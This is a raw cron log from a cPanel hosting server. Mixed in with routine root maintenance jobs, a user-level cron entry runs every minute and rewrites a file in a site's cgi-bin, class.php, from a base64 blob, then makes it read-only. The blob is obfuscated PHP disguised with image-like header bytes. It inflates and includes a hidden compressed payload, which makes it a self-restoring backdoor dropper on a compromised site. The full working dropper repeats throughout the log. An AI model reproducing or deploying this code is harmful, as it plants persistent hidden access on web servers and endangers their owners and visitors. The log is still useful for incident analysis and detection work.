Sep  2 16:56:01 server CROND[29261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:56:01 server CROND[29260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:57:01 server CROND[29645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:57:01 server CROND[29646]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:57:01 server CROND[29647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:57:01 server CROND[29648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:58:01 server CROND[30027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:58:01 server CROND[30028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:58:01 server CROND[30029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:59:02 server CROND[30409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:59:02 server CROND[30410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:59:02 server CROND[30411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:00:01 server CROND[30883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:00:01 server CROND[30884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:00:01 server CROND[30892]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 17:00:01 server CROND[30902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:00:01 server CROND[30904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:00:01 server CROND[30903]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:00:01 server CROND[30905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:00:01 server CROND[30909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:00:01 server CROND[30912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:01:01 server CROND[31738]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 17:01:01 server CROND[31739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:01:01 server CROND[31741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:01:01 server CROND[31740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:01:01 server run-parts(/etc/cron.hourly)[31738]: starting 0anacron
Sep  2 17:01:01 server run-parts(/etc/cron.hourly)[31759]: finished 0anacron
Sep  2 17:02:01 server CROND[32126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:02:01 server CROND[32127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:02:01 server CROND[32125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:03:01 server CROND[32499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:03:01 server CROND[32500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:03:01 server CROND[32501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:04:01 server CROND[711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:04:01 server CROND[713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:04:01 server CROND[712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:05:01 server CROND[1287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:05:01 server CROND[1289]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 17:05:01 server CROND[1296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:05:01 server CROND[1298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:05:01 server CROND[1299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:05:01 server CROND[1301]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:05:01 server CROND[1303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:05:01 server CROND[1297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:05:01 server CROND[1300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:06:01 server CROND[2180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:06:01 server CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:06:01 server CROND[2182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:07:01 server CROND[2553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:07:01 server CROND[2555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:07:01 server CROND[2556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:08:01 server CROND[2967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
